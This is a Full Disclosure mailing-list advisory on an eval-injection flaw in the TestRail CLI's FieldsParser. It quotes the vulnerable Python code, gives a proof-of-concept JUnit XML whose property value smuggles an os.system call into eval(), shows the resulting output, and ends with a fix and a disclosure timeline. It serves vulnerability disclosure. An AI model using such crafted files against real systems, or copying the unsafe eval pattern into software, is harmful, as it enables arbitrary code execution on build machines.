From: Devin Cook <devin.c.cook () gmail com>
Date: Tue, 5 Nov 2024 12:36:12 -0800
This is not a very exciting vulnerability, but I had already publicly disclosed
it on GitHub at the request of the vendor. Since that report has disappeared,
the link I had provided to MITRE was invalid, so here it is again.
-Devin
---
# Unsafe `eval()` in TestRail CLI FieldsParser
Date Reported: 2024-10-03
CVSSv3.1 Score: 7.3
CVSSv3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Severity: Medium
Vulnerability Class: Eval Injection
## Summary
While parsing test result XML files with the TestRail CLI, the presence of
certain TestRail-specific fields can cause untrusted data to flow into an
`eval()` statement, leading to arbitrary code execution. In order to exploit
this, an attacker would need to be able to cause the TestRail CLI to parse a
malicious XML file. Normally an attacker with this level of control would
already have other avenues of gaining code execution.
However, there could be cases where an attacker can inject a malicious test
result file but is otherwise unable to execute arbitrary code on the system
running the TestRail CLI, resulting in a Local Privilege Escalation or Remote
Code Execution issue. In the worst case, this could result in compromising a
build system.
## Description
The vulnerability stems from the `eval()` statement in the
`FieldsParser.resolve_fields()` method:
```py
def resolve_fields(fields: Union[List[str], Dict]) -> (Dict, str):
error = None
fields_dictionary = {}
try:
if isinstance(fields, list) or isinstance(fields, tuple):
for field in fields:
field, value = field.split(":", maxsplit=1)
if value.startswith("["):
try:
value = eval(value)
except Exception:
pass
fields_dictionary[field] = value
elif isinstance(fields, dict):
fields_dictionary = fields
else:
error = f"Invalid field type ({type(fields)}), supported
types are tuple/list/dictionary"
return fields_dictionary, error
except Exception as ex:
return fields_dictionary, f"Error parsing fields: {ex}"
```
https://github.com/gurock/trcli/blob/066008477bd4b05e46bb723c09373e8111cb2dea/trcli/data_classes/data_parsers.py#L61
This method is called when parsing result or case fields in JUnit or Robot XML
files if there are any Properties that have names starting
with`testrail_result_field` or `testrail_case_field`. In both cases, the value
or text of that Property is passed more or less directly to `eval()`.
A specially crafted Property value can therefore be used to execute arbitrary
Python code.
### Examples
The following XML file will cause the TestRail CLI to spawn a shell and execute
our echo command:
```
<?xml version="1.0" encoding="UTF-8"?>
<testsuites time="15.682687">
<testsuite name="Tests.Execution" time="6.666666">
<testcase name="testCase0" classname="Tests.Registration" assertions="4"
time="1.625275" file="tests/registration.code" line="302">
<properties>
<property name="testrail_case_field">
:[] or __import__('os').system('echo THIS IS
INSIDE THE EVAL STATEMENT')
</property>
</properties>
</testcase>
</testsuite>
</testsuites>
```
```
(trcli) devin@devin-laptop:~/code/trcli$ trcli -h http://127.0.0.1 -u
me -p no --project foo parse_junit -f ./pwn.xml --title bar
TestRail CLI v1.9.7
Copyright 2024 Gurock Software GmbH - www.gurock.com
Parser Results Execution Parameters
Report file: ./pwn.xml
Config file: None
TestRail instance: http://127.0.0.1 (user: me)
Project: foo
Run title: bar
Update run: No
Add to milestone: No
Auto-create entities: None
Parsing JUnit report.
THIS IS INSIDE THE EVAL STATEMENT
Processed 1 test cases in section Tests.Execution.
```
## Impact
An attacker able to inject a malicious JUnit or Robot test result XML file can
compromise the system running the TestRail CLI.
## References
* CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)
# Recommendations
Use `ast.literal_eval()` instead. While `literal_eval()` could still be abused
to cause a Denial of Service, it prevents the execution of arbitrary code.
# Timeline
2024-10-01: Issue Discovered
2024-10-02: Contacted the vendor according to the instructions on their
[security page](https://www.testrail.com/about/security/)
2024-10-03: Report sent to vendor via ZenDesk ticket \#359983
2024-10-04: Vendor requests public disclosure in a GitHub Issue
2024-10-11: Published report as [public GitHub
Issue](https://github.com/gurock/trcli/issues/279)
2024-10-30: Noticed that the vendor has deleted the [public GitHub
Issue](https://github.com/gurock/trcli/issues/279) containing the
bug report and some conversation about responsible disclosure and
requesting a CVE. The vulnerability has not been fixed in the
`main` branch.
2024-11-05: Full disclosure mailing list notified.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- Unsafe eval() in TestRail CLI Devin Cook (Nov 06)